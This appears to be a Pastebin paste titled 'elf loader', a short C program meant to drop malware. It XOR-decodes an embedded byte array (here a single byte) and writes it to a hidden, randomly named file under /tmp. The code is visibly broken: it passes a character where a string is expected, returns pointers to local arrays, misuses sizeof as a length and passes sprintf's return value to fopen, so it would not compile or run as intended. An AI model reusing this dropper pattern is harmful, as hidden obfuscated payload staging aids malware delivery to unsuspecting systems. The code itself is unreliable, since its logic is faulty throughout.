Advertisement
Guest User

elf loader

a guest
Apr 8th, 2016
113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.76 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <time.h>
  3.  
  4. unsigned char fileBytes[] = {
  5. 0x4D
  6. };
  7.  
  8. char* randName()
  9. {
  10. const char chars[] = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890";
  11. int i;
  12. char ret[5];
  13. for(i = 0; i < 5; i++)
  14. {
  15. strcat_s(ret, sizeof(ret), chars[rand() % sizeof(sizeof(chars) / sizeof(chars[0]))]);
  16. }
  17. return ret;
  18. }
  19.  
  20. char* XOR(char* bytes)
  21. {
  22. char key[] = "fsfsdfdsf";
  23. int i;
  24. char ret[sizeof(bytes)];
  25. for(i = 0; i < sizeof(bytes); i++)
  26. {
  27. ret[i] = (bytes[i] ^ key[i % (sizeof(key) / sizeof(key[0])]);
  28. }
  29. return ret;
  30. }
  31.  
  32. int main()
  33. {
  34. FILE* pFile = fopen(sprintf("/tmp/.%s", randName()), "wb");
  35. const char* data = XOR(fileBytes);
  36. fwrite(data, 1, sizeof(data), pFile);
  37. fclose(pFile);
  38. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement